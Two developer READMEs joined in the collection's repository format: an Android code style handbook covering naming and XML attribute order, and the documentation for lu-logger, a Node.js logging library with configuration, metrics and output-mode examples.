The intention of this guide is to provide a set of conventions that encourage good code that is specific to the Android environment.

## In General

You should strive to make code that is **easy to read**, **easy to understand**, and **easy to maintain**. That is why it is important when reviewing code to ensure these guidelines are met no matter how small, or nit-picky a request for a change may seem.

## Naming

#### Class Files

Any classes extending an Android framework component should **always** end with the component name. For example:

	UserFragment, SignUpActivity, RateAppDialog, PushNotificationServer, NumberView

#### Resource files

When naming resource files you should be sure to name them using lowercase letters and underscores instead of spaces, for example:

	activity_main, fragment_user, item_post

#### View IDs

When giving views IDs you should name them using camel case pattern. This is because it is now trivial to bind views in code.

	android:id="@+id/launchButton", android:id="@+id/newItemButton"

#### Drawable files

Drawable resource files should be named using the **ic_** prefix along with the size and color of the asset. For example, white accept icon sized at 24dp would be named:

	ic_accept_24dp_white

And a black cancel icon sized at 48dp would be named:

	ic_cancel_48dp_black

We use this naming convention so that a drawable file is recognisable by its name. If the colour and size are not stated in the name, then the developer needs to open the drawable file to find out this information.

Other drawable files should be named using the corresponding prefix, for example:

| Type       | Prefix    | Example                |
|------------|-----------|------------------------|
| Selector   | selector_ | selector_button_cancel |
| Background | bg_       | bg_rounded_button      |
| Circle     | circle_   | circle_white           |
| Progress   | progress_ | progress_circle_purple |
| Divider    | divider_  | divider_grey           |

When creating selector state resources, they should be named using the corresponding suffix:

| State    | Suffix    | Example             |
|----------|-----------|---------------------|
| Normal   | _normal   | btn_accept_normal   |
| Pressed  | _pressed  | btn_accept_pressed  |
| Focused  | _focused  | btn_accept_focused  |
| Disabled | _disabled | btn_accept_disabled |
| Selected | _selected | btn_accept_selected |

#### Layout files

When naming layout files, they should be named starting with the name of the Android Component that they have been created for. For example:

| Component        | Class Name      | Layout Name       |
|------------------|-----------------|-------------------|
| Activity         | MainActivity    | activity_main     |
| Fragment         | MainFragment    | fragment_main     |
| Dialog           | RateDialog      | dialog_rate       |
| Widget           | UserProfileView | view_user_profile |
| AdapterView Item | N/A             | item_follower     |

**Note:** If you create a layout using the merge tag then the layout_ prefix should be used.

## Best practices

#### Layout/view setup

    // Good
    <TextView
        android:id="@+id/label"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_gravity="right"
        android:textSize="14sp"
        android:textColor="#000"
        android:text="John Doe"/>

    // Bad
    <TextView
        android:textSize="14sp"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="John Doe"
        android:id="@+id/label"
        android:layout_gravity="right"
        android:textColor="#000" />

1. ID should always be first
2. height/width
3. Alignment(gravity/orientation)
4. Styles(style/textColor/textSize/backgroundColor etc)
5. Text should always be last

repository: bakkenbaeck/android-handbook

repo_name: bakkenbaeck/android-handbook


text:
# lu-logger
![Node.js CI](https://github.com/BonnierNews/lu-logger/actions/workflows/nodejs.yml/badge.svg)

## Purpose and features
File name and line number of the log caller is also added when logging in debug level.

## Configuration
A configuration object must be passed to the constructor when initiating the logger.

### Example
```js
const logger = require("lu-logger")({
  "log": "stdout",      // Or file, required
  "logLevel": "debug",  // Minimum level to log
  "logJson": true       // Log JSON objects or string messages, defaults to true
});
```
## Metrics
All log events will also increment a counter `<metricPrefix>_logged_total` with the level as label.
The `metricPrefix` will be automatically resolved from the calling applications `name` in package.json.
If there is no `name` in package.json the `metricPrefix` will be `undefined`;

Example of metrics produced:

```
# HELP orderapi_logged_total Counts number of logs with loglevel as label
# TYPE orderapi_logged_total counter
orderapi_logged_total{level="info"} 28
orderapi_logged_total{level="error"} 39
orderapi_logged_total{level="debug"} 2
```

## Log output mode
When log mode `file` is enabled, the log will be written to a file at `<app root>/logs/<NODE_ENV>.log` directory, where `app root` is the folder containing the `package.json` file.
Log mode `stdout` will log to stdout.

### Example
### #JSON object in the log
The JSON below is an example of a log entry when `logJson` is set to true (or omitted) and `logLevel` is set to debug.
```json
{
  "data": {
    "meta": "meta-data"
  },
  "greenFieldLogMeta": {
    "location": "lib/logging-producer.js:38",
    "correlationId": "sample-correlation-id"
  },
  "level": "debug",
  "message": "This is the log message",
  "timestamp": "2018-02-21T12:22:19.150Z"
}
```

## Version notes:
v2.x supports node 8,10 (but works at least to node 14)
v3.x supports node 12,14,16

repository: BonnierNews/lu-logger

repo_name: BonnierNews/lu-logger